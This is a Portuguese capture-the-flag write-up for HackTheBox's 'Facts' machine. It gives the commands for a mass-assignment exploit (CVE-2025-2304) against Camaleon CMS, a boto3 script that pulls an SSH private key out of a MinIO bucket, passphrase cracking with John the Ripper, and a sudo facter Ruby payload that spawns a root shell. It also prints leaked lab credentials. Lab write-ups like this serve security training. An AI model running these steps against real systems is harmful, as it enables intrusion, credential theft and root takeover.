HackTheBox — Writeup da Máquina Facts

Informações da Máquina

Campo	Detalhes
Nome	Facts
SO	Linux
Dificuldade	Easy
Lançamento	Season 10
Aposentada	No

---

Visão Geral da Cadeia de Ataque

Recon → Web Enumeration → CVE-2025-2304 (Mass Assignment) → S3/MinIO Credential Leak → SSH Key Extraction → Passphrase Cracking → User Shell → facter Sudo Abuse → Root

---

Ferramentas Usadas

Ferramenta	Propósito
Nmap	Varredura de portas e detecção de serviços
Feroxbuster	Enumeração de diretórios web
CVE-2025-2304 PoC	Escalação de privilégio no Camaleon CMS
boto3 (Python)	Enumeração MinIO/S3 e download de arquivos
ssh2john	Converter chave SSH em hash quebrável
John the Ripper	Quebrar senha da chave SSH
facter	Escalação de privilégio via sudo mal configurado

---

Reconhecimento

Varredura de Portas

sudo nmap -p- --min-rate 5000 -T4 <TARGET_IP> -oN ports.nmap
sudo nmap -sV -sC -p 22,80,54321 <TARGET_IP>

Resultados:

22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu
80/tcp    open  http    nginx 1.26.3 (Camaleon CMS)
54321/tcp open  http    MinIO S3 Server

echo "<TARGET_IP> facts.htb" | sudo tee -a /etc/hosts

---

Enumeração Web

feroxbuster -u http://facts.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 40
curl -s http://facts.htb/robots.txt
curl -s http://facts.htb/sitemap.xml

Principais descobertas:

• CMS identificado: Camaleon CMS 2.9.0
• Painel admin: http://facts.htb/admin/login
• Página de registro: http://facts.htb/admin/register

---

Acesso Inicial

Passo 1 — Registrar uma Conta

Visite http://facts.htb/admin/register e crie uma conta. Note que há um captcha — registre-se via navegador.

Passo 2 — CVE-2025-2304 (Escalação de Privilégio por Mass Assignment)

O endpoint updated_ajax usa permit! permitindo que todos os parâmetros, incluindo role, sejam atualizados.

git clone https://github.com/Alien0ne/CVE-2025-2304
cd CVE-2025-2304
python3 exploit.py -u http://facts.htb -U <username> -P <password> -e

Saída:

[+] Login confirmed
    Current User Role: client
[+] Updated User Role: admin
[+] Extracting S3 Credentials
    s3 access key: AKIAA5CA83CCFE35CD69
    s3 secret key: zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n
    s3 endpoint:   http://localhost:54321

---

Enumeração na Nuvem — MinIO S3

A porta 54321 roda um servidor compatível com MinIO S3. Usando as credenciais vazadas:

import boto3
from botocore.client import Config

s3 = boto3.client(
    's3',
    endpoint_url='http://facts.htb:54321',
    aws_access_key_id='AKIAA5CA83CCFE35CD69',
    aws_secret_access_key='zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n',
    config=Config(signature_version='s3v4'),
    region_name='us-east-1'
)

paginator = s3.get_paginator('list_objects_v2')
for page in paginator.paginate(Bucket='internal'):
    for o in page.get('Contents', []):
        if 'info-etags' not in o['Key']:
            print(o['Key'])
            s3.download_file('internal', o['Key'], '/tmp/' + o['Key'].replace('/', '_'))

Arquivos chave encontrados:

.ssh/authorized_keys
.ssh/id_ed25519        ← chave privada SSH
.profile
.bashrc

---

Quebra da Chave SSH

chmod 600 /tmp/.ssh_id_ed25519
ssh2john /tmp/.ssh_id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

Senha quebrada: dragonballz

---

Shell de Usuário

ssh -i /tmp/.ssh_id_ed25519 [email protected]
# Enter passphrase: dragonballz

cat /home/william/user.txt

---

Escalação de Privilégio

Enumeração

sudo -l

(ALL) NOPASSWD: /usr/bin/facter

Exploração — facter Custom Fact (Execução de Código Ruby)

Facter carrega fatos personalizados como scripts Ruby. Como podemos executá-lo como root sem senha, injetamos código Ruby arbitrário:

mkdir -p /tmp/facts
cat > /tmp/facts/pwn.rb << 'EOF'
Facter.add(:pwn) do
  setcode do
    exec("/bin/bash -p")
  end
end
EOF

sudo facter --custom-dir=/tmp/facts pwn

Shell root obtido!

whoami   # root
cat /root/root.txt

---

Principais Conclusões

• Mass assignment vulnerabilidades permitem escalação de privilégio quando a entrada não é devidamente filtrada
• Buckets S3/MinIO mal configurados podem expor arquivos sensíveis, incluindo chaves privadas SSH
• Senhas fracas em chaves SSH podem ser quebradas com wordlists comuns como rockyou
• Binários sudo NOPASSWD devem sempre ser investigados quanto ao potencial de abuso
• Encadeamento de pequenas configurações incorretas pode levar ao comprometimento total do sistema

---

Referências

• CVE-2025-2304 — Mass Assignment no Camaleon CMS
• GTFOBins — facter
• HackTheBox

---

Este writeup é apenas para fins educacionais. Sempre realize testes de segurança em sistemas que você possui ou tem permissão explícita para testar.